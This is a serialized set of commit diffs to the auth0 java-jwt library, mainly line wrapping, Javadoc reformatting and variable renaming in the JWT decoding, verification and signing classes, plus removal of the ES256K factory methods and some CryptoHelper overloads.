+        byte[] signatureBytes = algorithm.sign(header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8));
         String signature = Base64.getUrlEncoder().withoutPadding().encodeToString((signatureBytes));
 
         return String.format("%s.%s.%s", header, payload, signature);uj      }(j7  (cc283095f25e9231c857ca94330a5ef73c1a8a05j7  /lib/src/main/java/com/auth0/jwt/JWTDecoder.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTDecoder.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X9  @@ -42,7 +42,7 @@ final class JWTDecoder implements DecodedJWT, Serializable {
             payloadJson = new String(Base64.getUrlDecoder().decode(parts[1]), StandardCharsets.UTF_8);
         } catch (NullPointerException e) {
             throw new JWTDecodeException("The UTF-8 Charset isn't initialized.", e);
-        } catch (IllegalArgumentException e){
+        } catch (IllegalArgumentException e) {
             throw new JWTDecodeException("The input is not a valid base 64 encoded string.", e);
         }
         header = converter.parseHeader(headerJson);u}(j7  (a54e122a967b5b1719b10c23867d3f08ded2a4e4j7  0lib/src/main/java/com/auth0/jwt/JWTVerifier.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FJWTVerifier.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -17,11 +17,13 @@
 import java.util.function.BiPredicate;
 
 /**
- * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format, but also its signature matches.
+ * The JWTVerifier class holds the verify method to assert that a given Token has not only a proper JWT format,
+ * but also its signature matches.
  * <p>
  * This class is thread-safe.
+ *
+ * @see com.auth0.jwt.interfaces.JWTVerifier
  */
-@SuppressWarnings("WeakerAccess")
 public final class JWTVerifier implements com.auth0.jwt.interfaces.JWTVerifier {
     private final Algorithm algorithm;
     final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
@@ -44,6 +46,9 @@ static Verification init(Algorithm algorithm) throws IllegalArgumentException {
         return new BaseVerification(algorithm);
     }
 
+    /**
+     * {@link Verification} implementation that accepts all the expected Claim values for verification.
+     */
     public static class BaseVerification implements Verification {
         private final Algorithm algorithm;
         private final Map<String, BiPredicate<Claim, DecodedJWT>> expectedChecks;
@@ -192,7 +197,8 @@ public Verification withClaim(String name, Date value) throws IllegalArgumentExc
         @Override
         public Verification withClaim(String name, Instant value) throws IllegalArgumentException {
             assertNonNull(name);
-            // Since date-time claims are serialized as epoch seconds, we need to compare them with only seconds-granularity
+            // Since date-time claims are serialized as epoch seconds,
+            // we need to compare them with only seconds-granularity
             checkIfNeedToRemove(name, value,
                     ((claim, decodedJWT) -> value.truncatedTo(ChronoUnit.SECONDS).equals(claim.asInstant())));
             return this;
@@ -363,7 +369,8 @@ private boolean isNullOrEmpty(String[] args) {
      *
      * @param token to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -379,7 +386,8 @@ public DecodedJWT verify(String token) throws JWTVerificationException {
      *
      * @param jwt to verify.
      * @return a verified and decoded JWT.
-     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to the one defined in the {@link JWTVerifier}.
+     * @throws AlgorithmMismatchException     if the algorithm stated in the token's header is not equal to
+     *                                        the one defined in the {@link JWTVerifier}.
      * @throws SignatureVerificationException if the signature is invalid.
      * @throws TokenExpiredException          if the token has expired.
      * @throws InvalidClaimException          if a claim contained a different value than the expected one.
@@ -394,11 +402,13 @@ public DecodedJWT verify(DecodedJWT jwt) throws JWTVerificationException {
 
     private void verifyAlgorithm(DecodedJWT jwt, Algorithm expectedAlgorithm) throws AlgorithmMismatchException {
         if (!expectedAlgorithm.getName().equals(jwt.getAlgorithm())) {
-            throw new AlgorithmMismatchException("The provided Algorithm doesn't match the one defined in the JWT's Header.");
+            throw new AlgorithmMismatchException(
+                    "The provided Algorithm doesn't match the one defined in the JWT's Header.");
         }
     }
 
-    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims) throws TokenExpiredException, InvalidClaimException {
+    private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, DecodedJWT>> claims)
+            throws TokenExpiredException, InvalidClaimException {
         for (Map.Entry<String, BiPredicate<Claim, DecodedJWT>> entry : claims.entrySet()) {
             boolean isValid;
             String claimName = entry.getKey();
@@ -408,7 +418,8 @@ private void verifyClaims(DecodedJWT jwt, Map<String, BiPredicate<Claim, Decoded
             isValid = expectedCheck.test(claim, jwt);
 
             if (!isValid) {
-                throw new InvalidClaimException(String.format("The Claim '%s' value doesn't match the required one.", claimName));
+                throw new InvalidClaimException(
+                        String.format("The Claim '%s' value doesn't match the required one.", claimName));
             }
         }
     }u}(j7  (0a76028b12002eccfc34165e5c7b3e33dbfaa01cj7  /lib/src/main/java/com/auth0/jwt/TokenUtils.javaj7  modifiedj7  Kj7  Kj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2FTokenUtils.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -18,7 +18,8 @@ static String[] splitToken(String token) throws JWTDecodeException {
             parts = new String[]{parts[0], parts[1], ""};
         }
         if (parts.length != 3) {
-            throw new JWTDecodeException(String.format("The token was expected to have 3 parts, but got %s.", parts.length));
+            throw new JWTDecodeException(
+                    String.format("The token was expected to have 3 parts, but got %s.", parts.length));
         }
         return parts;
     }u}(j7  (a52470055ec0f1430a30c29295d72158a56a3e15j7  9lib/src/main/java/com/auth0/jwt/algorithms/Algorithm.javaj7  modifiedj7  Kj7  K0j7  KOj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FAlgorithm.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X  @@ -138,28 +138,6 @@ public static Algorithm HMAC256(String secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS256", "HmacSHA256", secret);
     }
 
-    /**
-     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
-     *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC384 Algorithm.
-     * @throws IllegalArgumentException if the provided Secret is null.
-     */
-    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
-    }
-
-    /**
-     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
-     *
-     * @param secret the secret to use in the verify or signing instance.
-     * @return a valid HMAC512 Algorithm.
-     * @throws IllegalArgumentException if the provided Secret is null.
-     */
-    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
-        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
-    }
-
     /**
      * Creates a new Algorithm instance using HmacSHA256. Tokens specify this as "HS256".
      *
@@ -172,26 +150,14 @@ public static Algorithm HMAC256(byte[] secret) throws IllegalArgumentException {
     }
 
     /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
-     *
-     * @param keyProvider the provider of the Public Key and Private Key for the verify and signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the Key Provider is null.
-     */
-    public static Algorithm ECDSA256K(ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
-        return new ECDSAAlgorithm("ES256K", "SHA256withECDSA", 32, keyProvider);
-    }
-
-    /**
-     * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256K".
+     * Creates a new Algorithm instance using HmacSHA384. Tokens specify this as "HS384".
      *
-     * @param publicKey  the key to use in the verify instance.
-     * @param privateKey the key to use in the signing instance.
-     * @return a valid ECDSA256 Algorithm.
-     * @throws IllegalArgumentException if the provided Key is null.
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC384 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
      */
-    public static Algorithm ECDSA256K(ECPublicKey publicKey, ECPrivateKey privateKey) throws IllegalArgumentException {
-        return ECDSA256K(ECDSAAlgorithm.providerForKeys(publicKey, privateKey));
+    public static Algorithm HMAC384(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
     /**
@@ -205,6 +171,17 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS384", "HmacSHA384", secret);
     }
 
+    /**
+     * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
+     *
+     * @param secret the secret to use in the verify or signing instance.
+     * @return a valid HMAC512 Algorithm.
+     * @throws IllegalArgumentException if the provided Secret is null.
+     */
+    public static Algorithm HMAC512(String secret) throws IllegalArgumentException {
+        return new HMACAlgorithm("HS512", "HmacSHA512", secret);
+    }
+
     /**
      * Creates a new Algorithm instance using HmacSHA512. Tokens specify this as "HS512".
      *
@@ -215,8 +192,7 @@ public static Algorithm HMAC384(byte[] secret) throws IllegalArgumentException {
     public static Algorithm HMAC512(byte[] secret) throws IllegalArgumentException {
         return new HMACAlgorithm("HS512", "HmacSHA512", secret);
     }
-    
-    
+
 
     /**
      * Creates a new Algorithm instance using SHA256withECDSA. Tokens specify this as "ES256".
@@ -337,7 +313,8 @@ protected Algorithm(String name, String description) {
     }
 
     /**
-     * Getter for the Id of the Private Key used to sign the tokens. This is usually specified as the `kid` claim in the Header.
+     * Getter for the Id of the Private Key used to sign the tokens.
+     * This is usually specified as the `kid` claim in the Header.
      *
      * @return the Key Id that identifies the Signing Key or null if it's not specified.
      */
@@ -355,7 +332,8 @@ public String getName() {
     }
 
     /**
-     * Getter for the description of this Algorithm, required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
+     * Getter for the description of this Algorithm,
+     * required when instantiating a Mac or Signature object. i.e. "HmacSHA256"
      *
      * @return the algorithm description.
      */
@@ -372,15 +350,19 @@ public String toString() {
      * Verify the given token using this Algorithm instance.
      *
      * @param jwt the already decoded JWT that it's going to be verified.
-     * @throws SignatureVerificationException if the Token's Signature is invalid, meaning that it doesn't match the signatureBytes, or if the Key is invalid.
+     * @throws SignatureVerificationException if the Token's Signature is invalid,
+     *                                        meaning that it doesn't match the signatureBytes,
+     *                                        or if the Key is invalid.
      */
     public abstract void verify(DecodedJWT jwt) throws SignatureVerificationException;
 
     /**
      * Sign the given content using this Algorithm instance.
      *
-     * @param headerBytes  an array of bytes representing the base64 encoded header content to be verified against the signature.
-     * @param payloadBytes an array of bytes representing the base64 encoded payload content to be verified against the signature.
+     * @param headerBytes  an array of bytes representing the base64 encoded header content
+     *                     to be verified against the signature.
+     * @param payloadBytes an array of bytes representing the base64 encoded payload content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */
@@ -399,7 +381,8 @@ public byte[] sign(byte[] headerBytes, byte[] payloadBytes) throws SignatureGene
      * Sign the given content using this Algorithm instance.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param contentBytes an array of bytes representing the base64 encoded content to be verified against the signature.
+     * @param contentBytes an array of bytes representing the base64 encoded content
+     *                     to be verified against the signature.
      * @return the signature in a base64 encoded array of bytes
      * @throws SignatureGenerationException if the Key is invalid.
      */u}(j7  (7b8c5c2ac5761bbf25b86fa55870a38d67cc0a03j7  <lib/src/main/java/com/auth0/jwt/algorithms/CryptoHelper.javaj7  modifiedj7  Kdj7  Kcj7  Kj7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FCryptoHelper.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  XU:  @@ -12,93 +12,98 @@
  */
 class CryptoHelper {
 
-    private static final byte JWT_PART_SEPARATOR = (byte)46;
+    private static final byte JWT_PART_SEPARATOR = (byte) 46;
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, String header, String payload, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return verifySignatureFor(algorithm, secretBytes, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return verifySignatureFor(algorithm, secretBytes,
+                header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param secretBytes    algorithm secret.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
 
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes), signatureBytes);
-    }
-
-    /**
-     * Create signature for JWT header and payload.
-     *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        final Mac mac = Mac.getInstance(algorithm);
-        mac.init(new SecretKeySpec(secretBytes, algorithm));
-        mac.update(headerBytes);
-        mac.update(JWT_PART_SEPARATOR);
-        return mac.doFinal(payloadBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, headerBytes, payloadBytes),
+                signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param header JWT header.
-     * @param payload JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      algorithm public key.
+     * @param header         JWT header.
+     * @param payload        JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, String header, String payload, byte[] signatureBytes)  throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8), payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            String header,
+            String payload,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+        return verifySignatureFor(algorithm, publicKey, header.getBytes(StandardCharsets.UTF_8),
+                payload.getBytes(StandardCharsets.UTF_8), signatureBytes);
     }
 
     /**
      * Verify signature for JWT header and payload using a public key.
      *
-     * @param algorithm algorithm name.
-     * @param publicKey the public key to use for verification.
-     * @param headerBytes JWT header.
-     * @param payloadBytes JWT payload.
+     * @param algorithm      algorithm name.
+     * @param publicKey      the public key to use for verification.
+     * @param headerBytes    JWT header.
+     * @param payloadBytes   JWT payload.
      * @param signatureBytes JWT signature.
      * @return true if signature is valid.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerBytes, byte[] payloadBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    boolean verifySignatureFor(
+            String algorithm,
+            PublicKey publicKey,
+            byte[] headerBytes,
+            byte[] payloadBytes,
+            byte[] signatureBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initVerify(publicKey);
         s.update(headerBytes);
@@ -110,17 +115,22 @@ boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] headerB
     /**
      * Create signature for JWT header and payload using a private key.
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
-     * @param headerBytes JWT header.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
+     * @param headerBytes  JWT header.
      * @param payloadBytes JWT payload.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
-
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] headerBytes, byte[] payloadBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(headerBytes);
@@ -130,75 +140,66 @@ byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] header
     }
 
     /**
-     * Verify signature.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
+     * Create signature for JWT header and payload.
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return true if signature is valid.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
+     * @param headerBytes  JWT header.
+     * @param payloadBytes JWT payload.
+     * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    boolean verifySignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException {
-        return MessageDigest.isEqual(createSignatureFor(algorithm, secretBytes, contentBytes), signatureBytes);
+    byte[] createSignatureFor(
+            String algorithm,
+            byte[] secretBytes,
+            byte[] headerBytes,
+            byte[] payloadBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException {
+        final Mac mac = Mac.getInstance(algorithm);
+        mac.init(new SecretKeySpec(secretBytes, algorithm));
+        mac.update(headerBytes);
+        mac.update(JWT_PART_SEPARATOR);
+        return mac.doFinal(payloadBytes);
     }
 
     /**
      * Create signature.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param secretBytes algorithm secret.
+     * @param algorithm    algorithm name.
+     * @param secretBytes  algorithm secret.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
      */
-
-    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException {
+    byte[] createSignatureFor(String algorithm, byte[] secretBytes, byte[] contentBytes)
+            throws NoSuchAlgorithmException, InvalidKeyException {
         final Mac mac = Mac.getInstance(algorithm);
         mac.init(new SecretKeySpec(secretBytes, algorithm));
         return mac.doFinal(contentBytes);
     }
 
-    /**
-     * Verify signature using a public key.
-     * For valid verification, ensure the content is in the format {HEADER}.{PAYLOAD}
-     *
-     * @param algorithm algorithm name.
-     * @param publicKey algorithm public key.
-     * @param contentBytes the content to which the signature applies.
-     * @param signatureBytes JWT signature.
-     * @return the signature bytes.
-     * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
-     */
-
-    boolean verifySignatureFor(String algorithm, PublicKey publicKey, byte[] contentBytes, byte[] signatureBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
-        final Signature s = Signature.getInstance(algorithm);
-        s.initVerify(publicKey);
-        s.update(contentBytes);
-        return s.verify(signatureBytes);
-    }
-
     /**
      * Create signature using a private key.
      * To get the correct JWT Signature, ensure the content is in the format {HEADER}.{PAYLOAD}
      *
-     * @param algorithm algorithm name.
-     * @param privateKey the private key to use for signing.
+     * @param algorithm    algorithm name.
+     * @param privateKey   the private key to use for signing.
      * @param contentBytes the content to be signed.
      * @return the signature bytes.
      * @throws NoSuchAlgorithmException if the algorithm is not supported.
-     * @throws InvalidKeyException if the given key is inappropriate for initializing the specified algorithm.
-     * @throws SignatureException if this signature object is not initialized properly or if this signature algorithm is unable to process the input data provided.
+     * @throws InvalidKeyException      if the given key is inappropriate for initializing the specified algorithm.
+     * @throws SignatureException       if this signature object is not initialized properly
+     *                                  or if this signature algorithm is unable to process the input data provided.
      */
 
-    byte[] createSignatureFor(String algorithm, PrivateKey privateKey, byte[] contentBytes) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
+    byte[] createSignatureFor(
+            String algorithm,
+            PrivateKey privateKey,
+            byte[] contentBytes
+    ) throws NoSuchAlgorithmException, InvalidKeyException, SignatureException {
         final Signature s = Signature.getInstance(algorithm);
         s.initSign(privateKey);
         s.update(contentBytes);u}(j7  (26700a2ac40e85621432e3bb878cb3fb88a94f87j7  >lib/src/main/java/com/auth0/jwt/algorithms/ECDSAAlgorithm.javaj7  modifiedj7  K j7  Kj7  K9j7  https://github.com/auth0/java-jwt/blob/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj 8  https://github.com/auth0/java-jwt/raw/0333526d9a3d2893b9abb506cc38cc83de091776/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.javaj8  https://api.github.com/repos/auth0/java-jwt/contents/lib%2Fsrc%2Fmain%2Fjava%2Fcom%2Fauth0%2Fjwt%2Falgorithms%2FECDSAAlgorithm.java?ref=0333526d9a3d2893b9abb506cc38cc83de091776j8  X]  @@ -24,7 +24,8 @@ class ECDSAAlgorithm extends Algorithm {
     private final int ecNumberSize;
 
     //Visible for testing
-    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(CryptoHelper crypto, String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         super(id, algorithm);
         if (keyProvider == null) {
             throw new IllegalArgumentException("The Key Provider cannot be null.");
@@ -34,7 +35,8 @@ class ECDSAAlgorithm extends Algorithm {
         this.ecNumberSize = ecNumberSize;
     }
 
-    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider) throws IllegalArgumentException {
+    ECDSAAlgorithm(String id, String algorithm, int ecNumberSize, ECDSAKeyProvider keyProvider)
+            throws IllegalArgumentException {
         this(new CryptoHelper(), id, algorithm, ecNumberSize, keyProvider);
     }
 
@@ -46,12 +48,14 @@ public void verify(DecodedJWT jwt) throws SignatureVerificationException {
             if (publicKey == null) {
                 throw new IllegalStateException("The given Public Key is null.");
             }
-            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(), jwt.getPayload(), JOSEToDER(signatureBytes));
+            boolean valid = crypto.verifySignatureFor(getDescription(), publicKey, jwt.getHeader(),
+                    jwt.getPayload(), JOSEToDER(signatureBytes));
 
             if (!valid) {
                 throw new SignatureVerificationException(this);
             }
-        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException | IllegalStateException | IllegalArgumentException e) {
+        } catch (NoSuchAlgorithmException | SignatureException | InvalidKeyException
+                | IllegalStateException | IllegalArgumentException e) {
             throw new SignatureVerificationException(this, e);
         }
     }
@@ -116,25 +120,27 @@ byte[] DERToJOSE(byte[] derSignature) throws SignatureException {
         offset++;
 
         //Obtain R number length (Includes padding) and skip it
-        int rLength = derSignature[offset++];
-        if (rLength > ecNumberSize + 1) {
+        int rlength = derSignature[offset++];
+        if (rlength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int rPadding = ecNumberSize - rLength;
+        int rpadding = ecNumberSize - rlength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-rPadding, 0), joseSignature, Math.max(rPadding, 0), rLength + Math.min(rPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-rpadding, 0),
+                joseSignature, Math.max(rpadding, 0), rlength + Math.min(rpadding, 0));
 
         //Skip R number and 0x02
-        offset += rLength + 1;
+        offset += rlength + 1;
 
         //Obtain S number length. (Includes padding)
-        int sLength = derSignature[offset++];
-        if (sLength > ecNumberSize + 1) {
+        int slength = derSignature[offset++];
+        if (slength > ecNumberSize + 1) {
             throw new SignatureException("Invalid DER signature format.");
         }
-        int sPadding = ecNumberSize - sLength;
+        int spadding = ecNumberSize - slength;
         //Retrieve R number
-        System.arraycopy(derSignature, offset + Math.max(-sPadding, 0), joseSignature, ecNumberSize + Math.max(sPadding, 0), sLength + Math.min(sPadding, 0));
+        System.arraycopy(derSignature, offset + Math.max(-spadding, 0), joseSignature,
+                ecNumberSize + Math.max(spadding, 0), slength + Math.min(spadding, 0));
 
